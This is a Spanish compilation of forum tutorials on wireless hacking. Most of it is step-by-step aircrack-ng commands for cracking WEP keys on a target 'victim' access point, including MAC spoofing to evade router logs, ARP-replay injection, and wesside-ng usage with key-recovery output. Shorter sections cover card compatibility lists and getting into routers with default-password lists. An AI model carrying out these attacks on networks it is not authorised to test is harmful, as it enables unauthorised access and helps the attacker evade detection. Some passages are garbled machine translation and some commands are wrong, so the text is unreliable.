[Hacking Wireless] Suite Aircrack-ng [Ataque

1+3]
{Ataque 1+3} Suite Aircrack-ng [Wifislax 3.1/Ubuntu 9.10]
By $ad

Bueno en este tutorial, hare una Auditoria Wireless desde una máquina virtual (S.O) Wifislax 3.1),
ya que es comodo para user de Windows que podran hacer esto sin tener que arrancar el tipico CD-
Live de Wifislax, BT4, Wifiway, etc (De esta forma, solo bastaria con hacerlo una vez); pues ya que
podran continuar trabajando en Windows sin necesidad de estar expresamente en algun S.O
previamente citado, me refiero a Windows porque “en Linux” basta con instalar la suite de
Aircrack-ng, si es que no se encuentra preinstalada en la distro.

Lo voy hacer con el software VMWARE Workstation, para aquel que desconozca su
funcionamiento le dejo aquí un un tuto de mi bro XD. aetsu:

Tutorial VMWARE Workstation:

Código:
[Link]

O este, donde se emula wifislax con el mismo, en Windows:

Emulación de Wifislax 3.1

Código:
[Link]

Nota: Si tienen problemas para activar su interfaz en VMware, se dirijen a la barra de herramientas
de Vmware>VM>Removable>Devices>Buscan la interfaz>Connect.(Hay mas formas de hacerlo,
pero no importa):

Para instalar la Suite de aircrack en Ubuntu 9.10:

Código:
sudo apt-get install aircrack-ng

Para instalar Macchanger en Ubuntu 9.10:

Código:
sudo apt-get install macchanger

Bien pues comencemos, una vez instalado el software y S.O en este y en Ubuntu dichos softwares,
comenzamos con Wifislax 3.1/Ubuntu 9.10:

Paso Nº1: Comprobamos el nombre que recibe la interfaz de red a utilizar, ya que es importante,
para posteriormente adaptarlo en los campos que la necesitemos, para ello, abrimos una shell, y
lanzamos el comando:
Código:
ifconfig

Nota: Fijensen en los datos y sobre todo en el nombre correspondiente a esta.

Paso Nº2: Ahora deberemmos detener la interfaz de red a utilizar; lanzando el comando:
Código:
ifconfig [Nombre de la interfaz] down

En mi caso:
Código:
ifconfig wlan0

Paso Nº3: Cambiaremos la dirección MAC de la interfaz de red a utilizar, para que pase de
desapercibida la dirección MAC real de esta en la red o logS del router, para ello (En Wifislax 3.1):

Opción Nº1:

Menú principal>wifislax>herramientas wireless>macchanger

*Y escriben cualquier MAC, por ejemplo:

Código:
00:11:22:33:44:55

Opción Nº2: O si adoran la shell (Para Ubuntu 9.10):

Código:
macchanger --mac 00:11:22:33:44:55 [Nombre de la interfaz]

Opción Nº3: O una MAC asignada de manera aleatroria:

Código:
macchanger -A [Nombre de la interfaz]

Paso Nº4: Pasamos a poner la interfaz de red en modo monitor o “modo escucha”:
Código:
airmon-ng start [Nombre de la interfaz]

Nota: Como pueden observar, la interfaz de red, recibió un nuevo nombre [mon0], el cual debemos
tener en cuenta para posteriormente incluirlo en las sintaxis nombradas posteriormente.

Paso Nº5: Con el siguiente comando realizamos un scan de las redes que posteriormente nos
centraremos en una de ellas,Para ello, abrimos una shell, y escribimos la siguiente sintaxis:
Código:
airodump-ng mon0
Y a continuación se muestra:

Campos que podemos observar:

Código:
dirección MAC (Bssid)
canal del AP (ch)
nombre AP(Essid)
Datos no validos (Beacons)
Velocidad de inyección (#/S)
Datos validos (Data)
ENC-CIPHER-AUTH (Encriptación)
Velocidad y estándar de la red(MB)

Paso Nº6: Es la hora de selecionar una víctima (AP), los parámetros a tener en cuenta son su
dirección MAC y el canal de este, abrimos una shell, y escribimos la siguiente sintaxis:
Código:
airodump-ng -w [Nombre del archivo de captura] --bssid [Dirección
MAC del AP] -c[canal del AP victima] [Nombre de la interfaz
(mon0)].

*Vean como quedaría:

Nota: Los resultados en la carpeta root (Principal de Home) cuyo nombre de captura es sad-1.
Nota: Esta ventana no la cerramos la dejamos tal cual.

Paso Nº7: Para asociarnos con el AP víctima, abrimos una Shell, y escribimos la siguiente sintaxis:
Código:
aireplay-ng -1 15 –e [Nombre AP] –a [MAC AP] –h [MAC NUESTRA]
[Nombre de la interfaz (mon0)]

Nota: El valor 15 es importante y depende a la hora de la asociación con la víctima (AP), este
incluye un rango desde 0 a 30.
Nota: Con este comando creamos una asociación entre el router y la PC. Debemos intentar una y
otra vez hasta que nos aparezca:
Código:
“association sucefull :-)”

Nota: Hasta entonces, no estaremos asociados.

Ataque 1 + 3

Paso Nº8: Abrimos una shell, y escribimos la siguiente sintaxis:

Código:
aireplay-ng -3 –b [MAC AP] –h [MACNUESTRA] [Nombre de la interfaz]

Nota: Con esto comienza el proceso de leer y enviar paquetes (#data$).

Aircrack-ng

Paso Nº9: Para finalizar, lanzamos el Aircrack, para obtener la Pass en claro. Abrimos una "shell", y
escribimos la siguiente sintaxis:
Código:
aircrack-ng [Nombre del archivo de captura]

*En mi caso:
Código:
aircrack-ng [Link]

aircrack-ptw [Link]
Area: Hacking Wireless

[Listado] Tarjetas de red compatibles con

Aircrack
Lista de tarjetas de red compatibles con Aircrack

1.- Modelo: Nombre habitual de la tarjeta.

2.- Chipset: Nombre del chipset de la tarjeta.

Nota: Intentaremos matizar la revisión de la tarjeta o el chipset para evitar problemas a la hora de
adquirirlas y probarlas. Las revisiones son versiones posteriores que los fabricantes lanzan al
mercado con el mismo nombre de la tarjeta, pero la mayoría de las veces cambian el chipset, por lo
tanto si compramos una tarjeta porque hemos creíamos que tenia un chipset de atheros, pudiera ser
que el vendedor de la tienda (sin darse cuenta) nos suministre una tarjeta con una revisión diferente
y posiblemente lleve otro chipset distinto (son así los fabricantes), de esta forma, las características
que exigíamos a nuestra tarjeta para la practica de la auditoria wireless muy posiblemente no sean
las esperadas y deseadas. Esto paso con las C54i/C54ri que pasaron de Atheros a Ralink,
manteniendo el nombre de la tarjeta.

3.- Win: Auditoria para modo monitor en Windows. Valor = airo, indica que la tarjeta entra en modo
monitor en Windows con el airodump y el winairodump. Valor = com, indica que la tarjeta entra en
modo monitor en Windows con la versión de evaluación del Commview para wifi.

4.- Linux: Auditoria para modo monitor en Linux. Valor = si, indica que la tarjeta entra en modo
monitor en Linux.

5.- Inyección: Tanto soporte en linux como en Windows. Valor = Lx, indica que la tarjeta entra en
modo monitor y además permite la inyección de trafico para aumentar la captura de datos en linux.
Esta función es muy importante en la auditoria wireless. Puede ser que para cierto estándar no
inyecta trafico, por lo tanto intentaremos citar para que estándar es efectiva y posible la inyección.
Sea 802.11b, sea 802.11g, o sea para ambos 802.11b/g. El añadido +CV, indica que la tarjeta entra
en modo monitor y además permite la inyección de trafico para aumentar la captura de datos en
Windows con el CommView 5.2 para wifi. Si la tarjeta es b/g podrá inyectar en ambos modos. Si
solo es modo b solo podrá inyectar en modo 802.11b lógicamente. Si este segundo valor es +??
quiere decir que no tenemos datos para saber si inyecta en Windows con el Commview 5.2.

6.- Antena(ant.): Posibilidad de incorporar una antena externa. Valor = si, indica que la tarjeta
permite que se le pueda añadir una antena externa para aumentar la cobertura. También citaremos el
conector utilazo para ello, pero no se hará ninguna referencia a modificaciones particulares de las
mismas tanto sean remedios caseros como semiprofesiona les. Solo la definiremos tal como viene
de fabrica. Si necesitáis fabricar de forma casera un pigtail para añadir una antena mas potente (las
cuales suelen venir con conectores externos del tipo N) podéis visitar la sección Bricolaje donde
enconareis un manual de la fabricación de un pigtail de forma casera y una guía sobre conectores y
cables.

7.- Cobertura: Es difícil analizar de forma exacta y profesional los niveles de señal exactos de cada
tarjeta, ya que no disponemos de herramientas adecuadas para realizar un estudio de potencia de
forma profesional. Sin embargo daremos la matización efectuada por las observaciones de las
personas que publicaron sus análisis. Usaremos expresiones tales como: muy sorda, sorda, normal,
buena y muy buena. No es muy profesional pero es lo mejor que tenemos, lo cual no es poco y ya
me hubiera gustado disponer de esta información en mis inicios en la auditoria wireless.

8.- Observaciones: Cualquier matización o información que sea interesante de mencionar para cada
tarjeta en particular y que no queda registrado en ninguno de los otros campos.

Mas Información

Comprueban mas >Listado de tarjetas con Chipset Atheros

Comprueban mas >Listados de tarjetas con Chipset Ralink

Fuente: [Link]/[Link]
Area: Hacking Wireless

[Hacking Wireless] Suite Aircrack

[Introducción a Wesside]
Introducción a Wesside

Wesside-ng es un auto-herramienta mágica que incorpora una serie de técnicas para obtener la
perfección una clave WEP en cuestión de minutos. En primer lugar, identifica a una red, y entonces
procede a asociarse con él, obtener PRGA (pseudo-algoritmo de generación aleatoria) los datos de
XOR, determinar el sistema de red IP, reinyectar peticiones ARP y, finalmente, determinar la clave
WEP. Todo esto se hace sin su intervención.

La herramienta de wesside original fue escrito por Andrea Bittau y fue una prueba de concepto del
programa de acompañamiento de dos artículos publicados. Los dos documentos son "El ataque de
fragmentación en la práctica" por Andrea Bittau y "El último clavo en el ataúd de WEP" por Andrea
Bittau, Mark Handley y Josua Lockey. Ver la la página de enlaces para este tipo de documentos y
más. Los documentos de referencia proporcionan información de antecedentes excelente si usted
desea comprender las metodologías. Los conceptos para el ataque fragmento actualmente
incorporado en aircrack-ng vino de estos documentos.

Para que los aficionados trivia, que sabe dónde está el nombre del programa "wesside" vino? Como
resultado, se trata de que el rapero Tupac (2Pac / Tupac Shakur).

Wesside-ng ha sido actualizado para reflejar los avances en la determinación de la clave WEP. Éstos
son los pasos que se wesside-ng:

[Link] de lúpulo en busca de una red WEP.

[Link] vez que se encuentra una red, intenta autenticarse. Si la autenticación falla, entonces el
programa intenta encontrar una dirección MAC asociada actualmente a la AP a la burla.
3. Una vez que el programa se ha autenticado correctamente entonces se asocia con la AP.
[Link]és de olfatear un paquete de datos único, se procede a descubrir al menos 128 bytes de
PRGA enviando más grandes emisiones y la interceptación de las retransmite los paquetes. Esto es
lo que se conoce como ataque de fragmentación. El PRGA se escribe en el archivo [Link].
[Link]és de que se olfatea una petición ARP, descifra la dirección IP de adivinar los próximos
cuatro bytes de PRGA utilizando marcos de multidifusión y la técnica de expansión lineal de flujo
de clave. Por descifrar la petición ARP, el régimen de número de red se puede determinar además de
la dirección IP de origen de la petición ARP. Esto se utiliza para construir la petición ARP que se
utiliza para la inyección posterior.
[Link] inunda la red con peticiones ARP para la dirección IP descifrado.
[Link] el aircrack-ng ataque PTW para determinar la clave WEP.

Así que usted puede estarse preguntando "¿Cuál es la técnica de expansión lineal ristra?". La
fundación es el hecho de que los paquetes, como una petición ARP cifrada puede ser fácilmente
identificado junto con el hecho de que el inicio del que ha conocido de texto plano. Así que el
primer programa que obtiene el PRGA de conocer parte de texto sin formato de la solicitud ARP.
Entonces se crea un paquete ARP nueva solicitud de divide en dos fragmentos. El primer fragmento
es de un byte más de los conocimientos y el PRGA PRGA es adivinar para el byte extra. Estas
conjeturas son enviados y el programa de escucha para ver cuál se repite por la AP. El paquete se ha
repetido el PRGA correcto y este valor se incluye en la dirección de multidifusión de destino. Ahora
que sabemos que el PRGA correcto, un byte se pueden descifrar en la petición ARP original. Este
proceso se repite hasta que la IP de envío de la petición ARP original es descifrado. Se tarda un
máximo de 256 conjeturas para determinar el PRGA correcto para un byte en particular y en
promedio sólo 128 conjeturas.

Existen algunas limitaciones conocidas:

*Sólo se admite la autenticación abierta. De autenticación de clave compartida no es compatible.

*Sólo se admiten las redes B y G.
*Funcionalidad MAC Fake se rompe si hay mucho tráfico en la red.

Por favor recuerde que esto sigue siendo básicamente una prueba de concepto de herramienta para
que usted puede esperar encontrar errores. Además, usted encontrará características que no
funcionan como se esperaba. Considere el uso de easside-ng como una alternativa o un programa
del compañero. Easside-ng es considerado software relativamente estable.
Uso

Uso: wesside-ng

*-h Muestra la lista de opciones.

* -i nombre de la interfaz Wireless. (Obligatorio)
* -n de red IP, como en "¿Quién tiene la IP de destino (netip) cuentan IP de origen (myip)". Por
defecto es la IP de origen en la petición ARP, que es capturado y descifrado. (Opcional)

*-m MI IP "que ha IP de destino (netip) cuentan IP de origen (myip)". Por defecto es el network.123
sobre la petición ARP capturada (Opcional)

*-una fuente de la dirección MAC (opcional)

*-c No iniciar aircrack-ng. Simplemente puede capturar los paquetes hasta que el control-C es
golpeado para detener el programa! (Opcional)

*-F permite el mayor canal para la digitalización de definir. Por defecto es el canal 11. (Opcional)

*ACK-k pasa por alto, ya que algunas tarjetas / drivers no lo informa. Por lo tanto, automáticamente
retransmitir X veces. Es decir, k-1 se transmitirá una vez y asumir que el paquete llegue. -k 2
retransmitirá dos veces, y así sucesivamente. Nota: Cuanto mayor sea el valor de k, la tasa de
transmisión será más lento debido a la retransmite muchos. (Opcional)

*Determina-p el número mínimo de bytes de PRGA, que están reunidos. Por defecto es 128 bytes.
(Opcional)

*-t Para cada número de IVs especificado, reiniciar el motor de airecrack-ng PTW. (Opcional)

*-v punto de acceso inalámbrico de dirección MAC (opcional)

Cuando se ejecuta wesside-ng, que crea tres archivos automáticamente en el directorio actual:
*- [Link] El archivo de captura de paquetes. Que contiene el paquete completo, no sólo los
vectores de inicialización.

*[Link] - Contiene el PRGA obtenido a través del ataque de fragmentación. La siguiente no es

correcto. Es una característica de futuro: "Esto se puede utilizar como entrada para otros Aircrack-
ng suite de herramientas que requieren PRGA como entrada. También puede utilizar el PRGA de
otras herramientas para este archivo. "

*[Link] - Contiene la clave WEP cuando se encuentra.

Es muy importante para eliminar estos archivos antes de iniciar el programa cuando se cambia el
punto de acceso de destino.
Escenarios
Ejemplo de uso estándar de

Asegúrese de usar airmon-ng para poner su tarjeta en modo monitor.

A continuación, escriba:

wesside-ng-i wlan0

Donde:

*-i wlan0 es la interfaz inalámbrica.

El programa responde:

[13:51:32] Uso de mac 00: C0: CA: 17: DB: 6A

[13:51:32] Looking for a una víctima ...
[13:51:32] Encontrados SSID (de peluche) BSS = (00:14:6 C: 7E: 40:80) chan = 9
[13:51:32] Jurada
[13:51:32] Associated (ID = 5)
[13:51:37] Got petición ARP de (00: D0: CF: 03:34:8 C)
[13:51:37] datalen 54 conocidos abierto 22
[13:51:37] Got 22 bytes de PRGA IV = (0e: 4e: 02) PRGA = A5 DC C3 AF 43 34 17 0D 0D 7E 2A
C1 44 8A DA 51 A4 DF BB C6 4F 3C
[13:51:37] Got 102 bytes de PRGA IV = (0f: 4e: 02) PRGA = 17 03 74 98 9F CC FB AA A1 B3 5B
00 53 EC 8F C3 BB F7 56 21 09 95 12 70 24 8C C0 16 40 9F A8 BD BA C4 CC 18 04 A1 41 47
B3 22 8B D2 42 DC 71 54 CE AD FE D0 C3 15 7E EB D1 E2 BB 69 7F 11 8A 99 40 FC 75 CE 12
BF 3B C8 2A 32 88 8A DC E8 35 7C EE DA A3 E3 6B 0C 45 21 DC BD 23 59 28 85 24 49 18 49
1C 24 6D E2
[13:51:37] Got 342 bytes de PRGA IV = (10:4 e: 02) PRGA = 5C EC 18 24 F3 21 B2 74 2A 86 97
C7 4C 22 EC 42 00 3A C6 07 0C 02 AA D6 B6 D8 FF B1 16 F8 40 31 B7 95 3B F8 1B BD 94 8B
3B 7A 98 DE C6 72 FD F8 A5 FC E7 81 A0 9E 01 76 44 57 C4 EB AE D7 AB EB 2F 40 C8 E5 5F
EF 13 DB F4 F7 F2 91 D9 36 77 C1 F0 9C E4 8C BA F9 50 C0 B0 E7 23 75 85 41 82 54 F5 22 3C
A9 45 0C 1F AE DA 3B F7 AA 41 30 23 63 97 B1 42 4C A8 0E C0 5A 7E A2 58 C2 02 B8 7F DB
C7 CC 66 4D 86 53 30 E0 A0 81 52 13 14 08 5F 45 C5 AC 21 C3 90 86 A1 8D 45 CC 7C F2 A2 95
34 EF 38 59 FA 21 0F CC 63 81 05 26 8D B8 84 A1 D3 DF 5D E0 CA 23 52 85 4F 61 5B E3 83
4B 2A 10 0A 14 94 FA 90 D4 FC 3F 7B CD A9 C3 E3 4D B7 99 BD 21 D4 FC DB 60 0C 92 8D 76
87 EF F7 45 C6 D7 0B 96 A4 18 41 63 48 79 E0 4E 3A 9F 1B 8D 17 F5 B0 FE 30 F3 27 55 EA E1
8A 60 FA 9E CB CE D9 1D EE 94 20 20 EB 58 F8 55 38 4F C9 E7 53 55 94 6C 6A 6D F0 D5 4E
DB 78 D6 52 A3 34 68 2C 8B 7A EA C8 DA 3B D9 CB 4C 65 E6 CE B8 EE CD 58 DD C1 C8 F8
08 1B 27 EC 74 7E AD A0 0E 1E 85 79 F4 C0 54 D9 99 51 CA 96 02 73 93 33 6F E6 D5 F1 55 81
2B C4 AA 3A B2 0A C6 04 FE
[13:51:39] Guessing PRGA 8e (IP byte = 230)
[13:51:39] Got claro byte de texto: 192
[13:51:40] Guessing PRGA be (IP byte = 198)
[13:51:40] Got claro byte de texto: 168
[13:51:40] Guessing PRGA 8d (IP byte = 47)
[13:51:40] Got claro byte de texto: 1
[13:51:40] Guessing PRGA 12 (IP byte = 240)
[13:51:40] Got claro byte de texto: 200
[13:51:40] Got IP = ([Link])
[13:51:40] Mi IP = ([Link])
[13:51:40] Envío de solicitud ARP para: [Link]
[13:51:40] Got ARP de respuesta (00: D0: CF: 03:34:8 C)
[13:52:25] WEP = 000009991 (crack siguiente en 10000) IV = 60:62:02 (rate = 115)
[13:52:36] WEP = 000012839 (crack siguiente en 20000) IV = 21:68:02 (rate = 204)
[13:52:25] A partir crack PID = 2413
[13:52:27] WEP = 000010324 (crack siguiente en 20000) IV = 0d: 63:02 (tasa = 183)
[13:54:03] A partir crack PID = 2415
[13:53:28] WEP = 000023769 (crack siguiente en 30000) IV = 79:32:00 (rate = 252)
[13:53:11] A partir crack PID = 2414
[13:53:13] WEP = 000020320 (crack siguiente en 30000) IV = 7d: 2b: 00 (tasa = 158)
[13:54:21] WEP = 000034005 (crack siguiente en 40000) IV = 53:47:00 (rate = 244)

Las teclas [328385:55:08] Probado 5 / 70000

Byte profundidad KB (votación)

0 0 / 1 01 (206) 3B (198) 5F (190) 77 (188) 3D (187) D2 (187) 60 (186) 6F (186) A1 (185) 48 (184)
1 0 / 1 23 (232) 82 (190) BF (187) 4E (184) 0D (183) 90 (181) B9 (181) 08 (180) 1A (180) 8A
(180)
2 0 / 1 45 (200) F0 (186) 52 (184) AE (184) 75 (183) 48 (181) A1 (180) 71 (179) DE (179) 21 (178)
3 0 / 1 67 (221) AE (202) B2 (193) 14 (191) 51 (184) 6D (184) 64 (183) 65 (183) 5B (182) 17 (181)
1A 4 0 / 5 89 (182) PP (182) 74 (181) C2 (181) CC (181) 64 (180) CD (180) 5F (179) A6 (179)
(178)

Clave: 01:23:45:67:89

[13:54:51] WEP = 000040387 (crack siguiente en 50000) IV = 0d: a0: 02 (tasa = 180)
[13:55:08] WEP = 000043621 (crack siguiente en 50000) IV = da: 5a: 00 (tasa = 136)
[13:55:08] Stopping crack PID = 2416
[13:55:08] KEY = (01:23:45:67:89)

Propiedad en 3,60 minutos

[13:55:08] Dying ...

Consejos de uso
Usando la opción-k

Algunas tarjetas / drivers no informar adecuadamente ACK. La "k" permite ACK para ser ignorado
y las fuerzas de wesside-ng para retransmitir los paquetes que el número de veces especificado. Por
lo tanto, automáticamente retransmitir X veces. Es decir, k-1 se transmitirá una vez y asumir que el
paquete llegue. -k 2 retransmitirá dos veces, y así sucesivamente. Nota: Cuanto mayor sea el valor
de k, la tasa de transmisión será más lento debido a la retransmite muchos.

Algunos casos concretos:

*Si usted recibe MAX retransmite error, intente k-1.

*Si usted tiene una conexión deficiente, intenta-K 3.

En general, usted puede experimentar con diferentes valores para determinar si se resuelve el
problema. No hay ningún valor correcto o incorrecto.
Problemas de uso
General

Asegúrese de que su tarjeta está en modo de monitor.

Asegúrese de que su tarjeta puede inyectar por las pruebas con el aireplay-ng prueba de la
inyección. También específicamente asegurarse de que se puede comunicar con la AP en cuestión.

Asegúrese de que su tarjeta soporta el ataque de fragmentación. De nuevo, esto puede ser
confirmada con el aireplay-ng prueba de la inyección.

Asegúrese de eliminar [Link], [Link] y [Link] archivos si están cambiando los puntos de acceso
o si desea reiniciar limpiamente. En general, si usted tiene problemas, es una buena idea para
eliminarlos.

Existen algunas limitaciones conocidas:

*Sólo se admite la autenticación abierta. De autenticación de clave compartida no es compatible.

* Sólo se admiten las redes B y G.
*Funcionalidad MAC Fake se rompe si hay mucho tráfico en la red.

"ERROR retransmite Max" mensaje de

Usted recibe un error similar al siguiente mientras se ejecuta el programa:

[18:23:49] ERROR retransmite Max (30 bytes): B0 00 FF 7F 00 1A 70 51 B0 70 00 0E 2E C5 81

D3 00 1A 70 51 B0 70 00 00 00 00 01 00 00 00

Esto puede ser causado si la AP no reconoce el de los paquetes que desea enviar. Trate de acercarse
a la AP.

Otra razón es que se confunde la máquina de estados internos de wesside-ng. Esto ocurre
normalmente cuando hay otros paquetes inalámbricos recogidos y la máquina del Estado no se
interpretan correctamente. Recuerde, esto es prueba de concepto del código y no es completamente
estable. Intente volver a ejecutar wesside-ng.
Chipset RT73 y "ERROR retransmite Max" mensaje de

Si está utilizando el chipset RT73, pruebe a añadir la "k-1" opción. El controlador para este chipset
no informar adecuadamente ACK. Uso de la "k-1" opción evita esto.
Errores conocidos
Hay una gran variedad de insectos conocidos que se describen a continuación. Además, se sabe que
el estado del motor a ser roto y esto conduce a resultados impredecibles.

Los errores en wesside-ng con madwifi-ng

[Link]

"Error Escribió 39 de los 30" mensaje de error de wesside-ng

[Link]

wesside-ng encuentra, y los intentos de proceso, los puntos de acceso WPA

[Link]

Fuente

*Videos:

Video Nº1

Video Nº2

Area: Hacking Wireless

[Listado] Tarjetas de red compatibles con

CommView For WiFi
Interfaces de red compatibles con CommView For Wifi

802.11 b/g/n and 802.11 a/b/g/n adapters

Atheros AR5008 Wireless Network Adapter

Broadcom 802.11n Network Adapter (requires Windows Vista or 7) *
D-Link DWA-542 RangeBooster N Desktop Adapter
D-Link DWA-547 RangeBooster N Desktop Adapter
D-Link DWA-552 Xtreme N Desktop Adapter
D-Link DWA-556 Xtreme N PCI Express Desktop Adapter
D-Link DWA-642 RangeBooster N Notebook Adapter
D-Link DWA-643 Xtreme N Notebook ExpressCard Adapter
D-Link DWA-645 RangeBooster N 650 Notebook Adapter
D-Link DWA-652 Xtreme N Notebook Adapter
Dell Wireless 1505 Draft 802.11n WLAN Mini-Card (requires Windows Vista or 7) *
Dell Wireless 1510 Wireless-N WLAN Mini-Card (requires Windows Vista or 7) *
Dell Wireless 1515 802.11 Wireless-N Mini-Card (requires Windows Vista or 7) *
Gigabyte GN-WI03N (mini) PCI WLAN Card
Gigabyte GN-WI06N (mini) PCI Express WLAN Card
Gigabyte GN-WM02N Express WLAN Card
Gigabyte GN-WP02N PCI Express WLAN Card
Intel Wireless WiFi Link 4965AGN (requires Windows Vista or 7) *
Intel Ultimate N WiFi Link 5100 (requires Windows Vista or 7) *
Intel WiMAX/WiFi Link 5150 (requires Windows Vista or 7) *
Intel Ultimate N WiFi Link 5300 (requires Windows Vista or 7) *
Intel WiMAX/WiFi Link 5350 (requires Windows Vista or 7) *
Linksys Dual-Band Wireless-N ExpressCard WEC600N (requires Windows Vista or 7) *
Linksys Dual Band Wireless-N USB Adapter WUSB600N (requires Windows Vista or 7) *
NEC AtermWL300NC (PA-WL300NC) Wireless Network Adapter
Realtek RTL8192E Wireless LAN 802.11n PCI-E NIC (requires Windows Vista or 7) *
TP-Link TL-WN910N Wireless N Cardbus Adapter
CACE Technologies AirPcap Nx USB Adapter *

802.11 b/g and 802.11 a/b/g adapters

3Com OfficeConnect Wireless a/b/g PC Card (3CRWE154A72)

Atheros AR5001X+ Wireless Network Adapter
Atheros AR5002G Wireless Network Adapter
Atheros AR5004G Wireless Network Adapter
Atheros AR5004X Wireless Network Adapter
Atheros AR5005G Wireless Network Adapter
Atheros AR5005GS Wireless Network Adapter
Atheros AR5006EG Wireless Network Adapter
Atheros AR5006EGS Wireless Network Adapter
Atheros AR5006EX Wireless Network Adapter
Atheros AR5006EXS Wireless Network Adapter
Atheros AR5006G Wireless Network Adapter
Atheros AR5006GS Wireless Network Adapter
Atheros AR5006X Wireless Network Adapter
Atheros AR5006XS Wireless Network Adapter
Atheros AR5007EG Wireless Network Adapter
Atheros AR5007G Wireless Network Adapter
Broadcom 802.11g, b/g, a/b/g Network Adapter (requires Windows Vista or 7) *
Cisco Aironet 802.11a/b/g Wireless Cardbus Adapter
D-Link AirPlus G DWL-G630 Wireless Cardbus Adapter (Rev. C, Rev. D)
D-Link AirPlus Xtreme G DWL-G520 Adapter
D-Link AirPlus Xtreme G DWL-G650 Adapter *
D-Link AirPremier DWL-AG530 Wireless PCI Adapter
D-Link AirPremier DWL-AG660 Wireless Cardbus Adapter
D-Link AirPremier DWL-G680 Wireless Cardbus Adapter
D-Link AirXpert DWL-AG520 Wireless PCI Adapter
D-Link AirXpert DWL-AG520 Wireless PCI Adapter(rev.B)
D-Link AirXpert DWL-AG650 Wireless Cardbus Adapter
D-Link AirXpert DWL-AG650 Wireless Cardbus Adapter(rev.B)
D-Link WNA-2330 RangeBooster G Notebook Adapter
D-Link Wireless 108G DWA-120 USB Adapter (requires Windows Vista or 7) *
Dell Wireless 1390 WLAN Mini-Card (requires Windows Vista or 7) *
Dell Wireless 1395 WLAN Mini-Card (requires Windows Vista or 7) *
Dell Wireless 1397 WLAN Mini-Card (requires Windows Vista or 7) *
Gigabyte GN-WI01GT (mini) PCI-E WLAN Card
Gigabyte GN-WI01HT (mini) PCI WLAN Card
Gigabyte GN-WI07HT (mini) PCI-E WLAN Card
Gigabyte GN-WIAG/GN-WPEAG (mini) PCI WLAN Card
Gigabyte GN-WIAH (mini) PCI WLAN Card
Gigabyte GN-WLMA102 Cardbus WLAN Card
Gigabyte GN-WM01GT Cardbus WLAN Card
Gigabyte GN-WMAG Cardbus WLAN Card
Gigabyte GN-WP01GT (mini) PCI WLAN Card
Intel PRO/Wireless 3945ABG Network Connection (requires Windows Vista or 7) *
LinkSys WPC55AG Dual-Band Wireless A+G Notebook Adapter
NETGEAR WAG511 802.11a/b/g Dual Band Wireless PC Card
NETGEAR WG511T 108 Mbps Wireless PC Card
NETGEAR WG511U 54AG+ Wireless PC Card
NETGEAR WG511U Double 108 Mbps Wireless PC Card
NETGEAR WPN311 RangeMax(TM) Wireless PCI Adapter
NETGEAR WPN511 RangeMax(TM) Wireless PC Card
Proxim ORiNOCO 802.11a/g ComboCard Gold 8480
Proxim ORiNOCO 802.11a/g ComboCard Silver 8481
Proxim ORiNOCO 802.11a/g PCI Adapter 8482
Proxim ORiNOCO 802.11b/g ComboCard Gold 8470
Proxim ORiNOCO 802.11b/g ComboCard Silver 8471
SMC 2336W-AG v2 Universal Wireless Cardbus Adapter
TRENDnet TEW-501PC 108Mbps 802.11a/g Wireless CardBus PC Card
TP-LINK TL-WN551G eXtended Range 54M Wireless PCI Adapter
Ubiquiti Networks SRC Wireless Network Adapter
CACE Technologies AirPcap Ex USB Adapter

Sw para hacer test de compatibilidad de Interfaz/sw

Area: Hacking Wireless

Scan de redes [Netstumbler]

Netstumbler

Me dice Wikipedia sobre este: NetStumbler es un programa para Windows que permite detectar
redes inalámbricas (WLAN) usando estándares 802.11a, 802.11b y 802.11g. Existe una versión para
Windows CE (PDA) llamada MiniStumbler.
Uso:

*Verificar la configuración de nuestra red.

*Estudiar la cobertura o nivel de señal que tenemos en diferentes puntos de una estancia.

*Detectar redes que pueden causar interferencias a la nuestra.

*Útil para orientar antenas direccionales cuando queremos hacer enlaces de larga distancia, o
simplemente para colocar la antena o tarjeta en el punto con mejor calidad de la señal.

*Sirve para detectar puntos de acceso no autorizados (Rogue AP’s).

*Wardriving, es decir, detectar todos los Puntos de Acceso (AP's) que están a nuestro alrededor.

*Si tenemos un receptor GPS, nos permitirá registrar las coordenadas reales en las que nos
encontramos y obtener las del punto desde donde se está emitiendo el equipo al que nos
conectamos. A Posteriormente se puede realizar el posicionamiento de capturas, con alguna de las
siguientes aplicaciones.
 Fuente

Area: Hacking Wireless

Intrusión a un Router [Pass por defecto]

Intrusión a un Router [Pass por defecto]
By $ad

Deberemos ser un equipo participane en la red, y posteriormente comprobrae a que router pertenece
nuesstra conexión, para asi poder acceder a él, conozcamos como:

Retina Wifi
1º: En primer lugar debemos hacer clic en Scan.

2º Y seguidamente nos fijamos en el campo señalado en rojo donde indica el Modelo del router.

Fuente

2. Y a continuación vamos a una lista de User & Pass por defecto para comprobar dichos datos del
modelo marcado por el sw:

Lista de User & Pass Nº1

Lista de User & Pass Nº2

Area: Hacking Wireless

[Tutorial] Hacking Wireless [Suite de

Aircrack-ng]
[Tutorial] Hacking Wireless [Suite de Aircrack-ng]
Ataque 1 + 3
By $ad
Para descargar Aircrack-ng:

O Directamente desde Wifislax 3.1:

1-En el menú principal>>>wifislax>>herramientas wireless>> macchanger y escriben cualquier

MAC : 00:11:22:33:44:55(para cambiar la dirección MAC del dispositivo de red y asi ocultar la
dirección MAC real de la targeta de red)

1.1- Para comprobar el nombre que recibe su interfaz, utilizan el comando:

ifconfig
2-Abrimos una shell, y escribimos esto:
airodump-ng wlan0

(Con este comando vemos las redes que estan dentro del rango de la señal, con su MAC (bssid),
canal (ch) y nombre (essid) (Donde Wlan el nombre de mi interfaz de red, vos poned la que les
corresponda)

3-Abrimos una shell, y escribimos esto:

airmon-ng start wlan0 3

(Ahora tendremos nuestra tarjeta de red en modo monitor, para poder monitorear las redes del canal
3 (#CH)(En mi caso puse el canal 3 porque era el que mas "data" difundia debido a la señal que era
menos debil que las demas, vos poned el que les corresponda al igual que con el nombre de la
interfaz de red)

Nota: Debe aparecer un mensaje indicando (No exastamente el mismo, debido a que varia por la
interfaz de red):

Interface Chipset Driver

wlan0 RTL8187 r8187 (monitor mode enabled)(Aquí el modelo de la tarjeta de red)

Nota: Cerramos consola y abrimos una nueva.

4- Una vez abierta la nueva shell, escribimos esto:

airodump-ng –w SAD –c3 wlan0

Nota: De esta forma empezamos a monitorear las redes del canal 3 (Vos poned que les
corresponda).
Nota: SAD es el nombre del archivo de capturas.

Nota: Esta ventana no la cerramos la dejamos asi y abrimos una nueva

5-Abrimos una nueva shell, y escribimos esto:

aireplay-ng -1 30 –e NombreESSID –a MACROUTER –h MACNUESTRA wlan0

(Con este comando creamos una asociación entre el router y la PC. Debemos intentar una y otra vez
